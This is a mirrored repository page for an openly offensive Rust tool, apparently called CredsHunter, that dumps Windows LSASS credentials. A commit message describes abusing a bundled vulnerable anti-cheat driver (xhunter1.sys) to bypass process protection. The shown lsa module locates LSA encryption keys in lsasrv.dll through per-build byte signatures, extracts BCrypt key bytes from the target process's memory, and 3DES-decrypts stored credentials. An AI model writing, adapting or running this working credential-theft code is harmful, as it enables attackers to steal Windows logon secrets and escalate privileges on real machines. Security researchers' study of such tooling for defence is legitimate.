mirror of
https://github.com/BlackSnufkin/CredsHunter
synced 2026-06-11 12:07:26 +00:00
dd3ba9d9bb
Rust implementation of the LSASS credential dump primitive against xhunter1.sys (XIGNCODE3 anti-cheat). Uses command 785 to obtain a PPL-bypassing PROCESS_ALL_ACCESS handle via ObOpenObjectByPointer with AccessMode=KernelMode and no OBJ_KERNEL_HANDLE, then walks LSA crypto material and decrypts the LogonSessionList. Modules: - driver: Xhunter / Session wrappers + MemReader trait - proc: PID lookup + PEB-walk remote module discovery - pe: local PE parsing and pattern scan helpers - lsa: LSA key pattern table + BCrypt key extraction + 3DES - logon: LogonSessionList walker + MSV1_0 offsets - wdigest: WDigest credential list walker (best-effort) - sys: OS build number Affected driver bundled: xhunter1.sys 10.0.10011.16384 SHA-256 e727d0753d2cd0b2f6eeba4cea53aa10b3ff3ed2afeb78f545fcf6d840f85c3e
206 lines
7.6 KiB
Rust
206 lines
7.6 KiB
Rust
//! LSA credential cryptography.
|
|
//!
|
|
//! Three responsibilities, in order:
|
|
//!
|
|
//! 1. Pattern-scan a locally-loaded `lsasrv.dll` to locate the RIP-relative
|
|
//! references inside `LsaInitializeProtectedMemory` that point at the
|
|
//! AES key, 3DES key, and IV. Returns the *local* VAs — caller rebases
|
|
//! these to the remote `lsasrv.dll` mapping.
|
|
//! 2. Pull the BCrypt key material out of the target process by walking
|
|
//! `BCRYPT_HANDLE_KEY → BCRYPT_KEY81` and extracting the secret bytes.
|
|
//! 3. 3DES-decrypt a ciphertext blob with the recovered key + IV via
|
|
//! `bcrypt.dll`.
|
|
|
|
use windows::Win32::Security::Cryptography::{
|
|
BCryptCloseAlgorithmProvider, BCryptDecrypt, BCryptDestroyKey,
|
|
BCryptGenerateSymmetricKey, BCryptOpenAlgorithmProvider, BCRYPT_3DES_ALGORITHM,
|
|
BCRYPT_ALG_HANDLE, BCRYPT_FLAGS, BCRYPT_KEY_HANDLE,
|
|
BCRYPT_OPEN_ALGORITHM_PROVIDER_FLAGS,
|
|
};
|
|
|
|
use crate::driver::MemReader;
|
|
use crate::pe;
|
|
|
|
const LSASRV: &str = "lsasrv.dll";
|
|
|
|
// ─── Per-build pattern table ───────────────────────────────────────────────
|
|
|
|
struct KeyPattern {
|
|
build: u32,
|
|
sig: &'static [u8],
|
|
aes: i32, // signed displacement from sig match to AES disp32
|
|
des: i32, // " 3DES disp32
|
|
iv: i32, // " IV disp32
|
|
}
|
|
|
|
const PTRN_WNO8: &[u8] = &[
|
|
0x83, 0x64, 0x24, 0x30, 0x00, 0x44, 0x8b, 0x4c, 0x24, 0x48, 0x48, 0x8b, 0x0d,
|
|
];
|
|
const PTRN_WIN8: &[u8] = &[
|
|
0x83, 0x64, 0x24, 0x30, 0x00, 0x44, 0x8b, 0x4d, 0xd8, 0x48, 0x8b, 0x0d,
|
|
];
|
|
const PTRN_WN10: &[u8] = &[
|
|
0x83, 0x64, 0x24, 0x30, 0x00, 0x48, 0x8d, 0x45, 0xe0, 0x44, 0x8b, 0x4d, 0xd8,
|
|
0x48, 0x8d, 0x15,
|
|
];
|
|
|
|
#[rustfmt::skip]
|
|
const KEY_PATTERNS: &[KeyPattern] = &[
|
|
KeyPattern { build: 6000, sig: PTRN_WNO8, aes: 25, des: -69, iv: 63 },
|
|
KeyPattern { build: 7600, sig: PTRN_WNO8, aes: 25, des: -61, iv: 59 },
|
|
KeyPattern { build: 9200, sig: PTRN_WIN8, aes: 23, des: -70, iv: 62 },
|
|
KeyPattern { build: 10240, sig: PTRN_WN10, aes: 16, des: -73, iv: 61 },
|
|
KeyPattern { build: 17763, sig: PTRN_WN10, aes: 16, des: -89, iv: 67 },
|
|
KeyPattern { build: 22621, sig: PTRN_WN10, aes: 16, des: -89, iv: 71 },
|
|
KeyPattern { build: u32::MAX, sig: PTRN_WN10, aes: 16, des: -89, iv: 71 },
|
|
];
|
|
|
|
fn pick_pattern(build: u32) -> &'static KeyPattern {
|
|
for window in KEY_PATTERNS.windows(2) {
|
|
if build >= window[0].build && build < window[1].build {
|
|
return &window[0];
|
|
}
|
|
}
|
|
&KEY_PATTERNS[KEY_PATTERNS.len() - 2]
|
|
}
|
|
|
|
// ─── Public surface ────────────────────────────────────────────────────────
|
|
|
|
/// VAs of the three globals inside `lsasrv.dll`. Locally-resolved — rebase
|
|
/// to the remote mapping before reading through the driver.
|
|
pub struct LsaKeyAddresses {
|
|
pub aes_va: u64,
|
|
pub des3_va: u64,
|
|
pub iv_va: u64,
|
|
}
|
|
|
|
/// The actual decrypted key material, after walking the BCrypt key
|
|
/// handle structures inside the target process.
|
|
pub struct LsaKeys {
|
|
pub des3_key: Vec<u8>,
|
|
pub iv: Vec<u8>,
|
|
pub des3_len: usize,
|
|
}
|
|
|
|
/// Ensure `lsasrv.dll` is mapped into this process so we can pattern-scan
|
|
/// it. Idempotent.
|
|
pub fn ensure_lsasrv_loaded() -> Result<(), String> {
|
|
pe::ensure_loaded(LSASRV)
|
|
}
|
|
|
|
/// Local-side VA of `lsasrv.dll`.
|
|
pub fn local_lsasrv_base() -> Result<u64, String> {
|
|
pe::local_base(LSASRV)
|
|
}
|
|
|
|
/// Pattern-scan locally-loaded `lsasrv.dll` for the LSA crypto globals.
|
|
pub fn locate_key_addresses(build: u32) -> Result<LsaKeyAddresses, String> {
|
|
let pat = pick_pattern(build);
|
|
let base = local_lsasrv_base()?;
|
|
let text = pe::text_section(base)?;
|
|
|
|
let off = pe::find_pattern(text, pat.sig)
|
|
.ok_or_else(|| format!("LSA key pattern not found for build {build}"))?;
|
|
|
|
let base_ptr = text.as_ptr();
|
|
unsafe {
|
|
Ok(LsaKeyAddresses {
|
|
aes_va: pe::decode_rip_relative(base_ptr.add(off).offset(pat.aes as isize)),
|
|
des3_va: pe::decode_rip_relative(base_ptr.add(off).offset(pat.des as isize)),
|
|
iv_va: pe::decode_rip_relative(base_ptr.add(off).offset(pat.iv as isize)),
|
|
})
|
|
}
|
|
}
|
|
|
|
/// Read the BCrypt 3DES key + IV from the live `lsasrv.dll`.
|
|
/// `addrs` are local VAs; `lsasrv_local`/`lsasrv_remote` are used to rebase
|
|
/// them onto the target process's mapping.
|
|
pub fn fetch_keys(
|
|
reader: &impl MemReader,
|
|
addrs: &LsaKeyAddresses,
|
|
lsasrv_local: u64,
|
|
lsasrv_remote: u64,
|
|
) -> Result<LsaKeys, String> {
|
|
let des_remote = lsasrv_remote + (addrs.des3_va - lsasrv_local);
|
|
let iv_remote = lsasrv_remote + (addrs.iv_va - lsasrv_local);
|
|
|
|
let des_handle = reader.read_u64(des_remote);
|
|
let (des3_key, des3_len) = retrieve_bcrypt_key(reader, des_handle)
|
|
.ok_or("failed to extract 3DES BCrypt key — pattern offsets may be wrong for this build")?;
|
|
let iv = reader.read_bytes(iv_remote, 8);
|
|
|
|
Ok(LsaKeys { des3_key, iv, des3_len })
|
|
}
|
|
|
|
// ─── BCrypt key extraction ─────────────────────────────────────────────────
|
|
|
|
/// Walk `BCRYPT_HANDLE_KEY → BCRYPT_KEY81` in the target process and copy
|
|
/// the raw secret bytes back. Returns `(bytes, length)` or `None` if any
|
|
/// tag check fails.
|
|
fn retrieve_bcrypt_key(reader: &impl MemReader, handle_va: u64) -> Option<(Vec<u8>, usize)> {
|
|
if handle_va == 0 { return None; }
|
|
|
|
// BCRYPT_HANDLE_KEY: +0x04 = 'UUUR' (0x55555552)
|
|
let tag1 = reader.read_u32(handle_va + 4);
|
|
if tag1 != 0x5555_5552 { return None; }
|
|
|
|
// +0x10 → BCRYPT_KEY81*
|
|
let key81 = reader.read_u64(handle_va + 0x10);
|
|
if key81 == 0 { return None; }
|
|
|
|
// BCRYPT_KEY81: +0x04 = 'MSSK' (0x4D53534B)
|
|
let tag2 = reader.read_u32(key81 + 4);
|
|
if tag2 != 0x4D53_534B { return None; }
|
|
|
|
let key_len = reader.read_u32(key81 + 0x38) as usize;
|
|
if key_len == 0 || key_len > 64 { return None; }
|
|
|
|
let key = reader.read_bytes(key81 + 0x3C, key_len);
|
|
Some((key, key_len))
|
|
}
|
|
|
|
// ─── 3DES decrypt via bcrypt.dll ───────────────────────────────────────────
|
|
|
|
/// CBC-mode 3DES decrypt with PKCS7-style block padding handled by bcrypt.
|
|
/// Returns `None` if any BCrypt step fails.
|
|
pub fn bcrypt_3des_decrypt(key: &[u8], iv: &[u8], ciphertext: &[u8]) -> Option<Vec<u8>> {
|
|
if ciphertext.is_empty() { return None; }
|
|
|
|
unsafe {
|
|
let mut alg = BCRYPT_ALG_HANDLE::default();
|
|
let mut sk = BCRYPT_KEY_HANDLE::default();
|
|
|
|
if BCryptOpenAlgorithmProvider(
|
|
&mut alg, BCRYPT_3DES_ALGORITHM, None,
|
|
BCRYPT_OPEN_ALGORITHM_PROVIDER_FLAGS(0),
|
|
).is_err() {
|
|
return None;
|
|
}
|
|
|
|
if BCryptGenerateSymmetricKey(alg, &mut sk, None, key, 0).is_err() {
|
|
let _ = BCryptCloseAlgorithmProvider(alg, 0);
|
|
return None;
|
|
}
|
|
|
|
let mut iv_copy = iv.to_vec();
|
|
iv_copy.resize(16, 0);
|
|
|
|
let mut out = vec![0u8; ciphertext.len() + 16];
|
|
let mut out_len = 0u32;
|
|
let result = BCryptDecrypt(
|
|
sk, Some(ciphertext), None, Some(&mut iv_copy),
|
|
Some(&mut out), &mut out_len, BCRYPT_FLAGS(0),
|
|
);
|
|
|
|
let _ = BCryptDestroyKey(sk);
|
|
let _ = BCryptCloseAlgorithmProvider(alg, 0);
|
|
|
|
if result.is_ok() {
|
|
out.truncate(out_len as usize);
|
|
Some(out)
|
|
} else {
|
|
None
|
|
}
|
|
}
|
|
}
|